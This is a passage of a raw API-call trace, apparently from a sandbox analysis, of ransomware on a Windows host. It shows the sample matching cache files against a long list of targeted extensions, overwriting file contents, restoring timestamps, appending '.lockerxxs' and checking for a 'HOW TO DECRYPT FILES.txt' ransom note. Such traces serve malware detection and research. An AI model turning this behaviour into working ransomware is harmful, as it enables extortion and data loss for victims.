Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.mbox") returned 0 [0082.564] lstrlenA (lpString="*.mbox") returned 6 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.eml") returned 0 [0082.564] lstrlenA (lpString="*.eml") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.pst") returned 0 [0082.564] lstrlenA (lpString="*.pst") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.ost") returned 0 [0082.564] lstrlenA (lpString="*.ost") returned 5 [0082.564] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.idx") returned 0 [0082.565] lstrlenA (lpString="*.idx") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.dbx") returned 0 [0082.565] lstrlenA (lpString="*.dbx") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.sql") returned 0 [0082.565] lstrlenA (lpString="*.sql") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.mdb") returned 0 [0082.565] lstrlenA (lpString="*.mdb") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.fdb") returned 0 [0082.565] lstrlenA (lpString="*.fdb") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.wab") returned 0 [0082.565] lstrlenA (lpString="*.wab") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.dat") returned 0 [0082.565] lstrlenA (lpString="*.dat") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.txt") returned 0 [0082.565] lstrlenA (lpString="*.txt") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.jpeg") returned 0 [0082.565] lstrlenA (lpString="*.jpeg") returned 6 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.jpg") returned 0 [0082.565] lstrlenA (lpString="*.jpg") returned 5 [0082.565] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", pszSpec="*.png") returned 1 [0082.565] lstrlenA (lpString="*.png") returned 5 [0082.565] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" [0082.565] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" [0082.566] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png." [0082.566] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.lockerxxs" [0082.566] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.566] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x67 [0082.567] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbfbb3b50, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbfbb3b50, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbfbb3b50, dwHighDateTime=0x1d2faf2)) returned 1 [0082.567] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.567] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x41, lpOverlapped=0x0) returned 1 [0082.569] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png") returned="tecjslog[1].png" [0082.569] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.569] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x41, lpOverlapped=0x0) returned 1 [0082.569] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.569] CloseHandle (hObject=0xa4) returned 1 [0082.582] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png.lockerxxs")) returned 1 [0082.584] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x548efd10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x548efd10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x548efd10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102ea, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="uhf-main.var.min[1].js", cAlternateFileName="UHF-MA~1.JS")) returned 1 [0082.584] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.584] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uhf-main.var.min[1].js") returned -1 [0082.584] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uhf-main.var.min[1].js") returned -1 [0082.584] lstrcmpiA (lpString1="", lpString2="uhf-main.var.min[1].js") returned -1 [0082.584] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png") returned="tecjslog[1].png" [0082.584] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.584] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.584] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.584] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.584] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="uhf-main.var.min[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js" [0082.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.ems") returned 0 [0082.584] lstrlenA (lpString="*.ems") returned 5 [0082.584] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.db") returned 0 [0082.585] lstrlenA (lpString="*.db") returned 4 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.dbf") returned 0 [0082.585] lstrlenA (lpString="*.dbf") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.myox") returned 0 [0082.585] lstrlenA (lpString="*.myox") returned 6 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.myo") returned 0 [0082.585] lstrlenA (lpString="*.myo") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qbw") returned 0 [0082.585] lstrlenA (lpString="*.qbw") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qbb") returned 0 [0082.585] lstrlenA (lpString="*.qbb") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qbm") returned 0 [0082.585] lstrlenA (lpString="*.qbm") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qbo") returned 0 [0082.585] lstrlenA (lpString="*.qbo") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qbx") returned 0 [0082.585] lstrlenA (lpString="*.qbx") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qba") returned 0 [0082.585] lstrlenA (lpString="*.qba") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qby") returned 0 [0082.585] lstrlenA (lpString="*.qby") returned 5 [0082.585] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qbj") returned 0 [0082.586] lstrlenA (lpString="*.qbj") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.ofx") returned 0 [0082.586] lstrlenA (lpString="*.ofx") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.qif") returned 0 [0082.586] lstrlenA (lpString="*.qif") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mye") returned 0 [0082.586] lstrlenA (lpString="*.mye") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mbox") returned 0 [0082.586] lstrlenA (lpString="*.mbox") returned 6 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.eml") returned 0 [0082.586] lstrlenA (lpString="*.eml") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.pst") returned 0 [0082.586] lstrlenA (lpString="*.pst") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.ost") returned 0 [0082.586] lstrlenA (lpString="*.ost") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.idx") returned 0 [0082.586] lstrlenA (lpString="*.idx") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.dbx") returned 0 [0082.586] lstrlenA (lpString="*.dbx") returned 5 [0082.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.sql") returned 0 [0082.587] lstrlenA (lpString="*.sql") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mdb") returned 0 [0082.587] lstrlenA (lpString="*.mdb") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.fdb") returned 0 [0082.587] lstrlenA (lpString="*.fdb") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.wab") returned 0 [0082.587] lstrlenA (lpString="*.wab") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.dat") returned 0 [0082.587] lstrlenA (lpString="*.dat") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.txt") returned 0 [0082.587] lstrlenA (lpString="*.txt") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.jpeg") returned 0 [0082.587] lstrlenA (lpString="*.jpeg") returned 6 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.jpg") returned 0 [0082.587] lstrlenA (lpString="*.jpg") returned 5 [0082.587] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.png") returned 0 [0082.588] lstrlenA (lpString="*.png") returned 5 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.php") returned 0 [0082.588] lstrlenA (lpString="*.php") returned 5 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.cs") returned 0 [0082.588] lstrlenA (lpString="*.cs") returned 4 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.cpp") returned 0 [0082.588] lstrlenA (lpString="*.cpp") returned 5 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.rar") returned 0 [0082.588] lstrlenA (lpString="*.rar") returned 5 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.zip") returned 0 [0082.588] lstrlenA (lpString="*.zip") returned 5 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.html") returned 0 [0082.588] lstrlenA (lpString="*.html") returned 6 [0082.588] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.htm") returned 0 [0082.589] lstrlenA (lpString="*.htm") returned 5 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.xlsx") returned 0 [0082.589] lstrlenA (lpString="*.xlsx") returned 6 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.xls") returned 0 [0082.589] lstrlenA (lpString="*.xls") returned 5 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mp4") returned 0 [0082.589] lstrlenA (lpString="*.mp4") returned 5 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.ppt") returned 0 [0082.589] lstrlenA (lpString="*.ppt") returned 5 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.pptx") returned 0 [0082.589] lstrlenA (lpString="*.pptx") returned 6 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.doc") returned 0 [0082.589] lstrlenA (lpString="*.doc") returned 5 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.dot") returned 0 [0082.589] lstrlenA (lpString="*.dot") returned 5 [0082.589] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.docx") returned 0 [0082.589] lstrlenA (lpString="*.docx") returned 6 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.7z") returned 0 [0082.590] lstrlenA (lpString="*.7z") returned 4 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 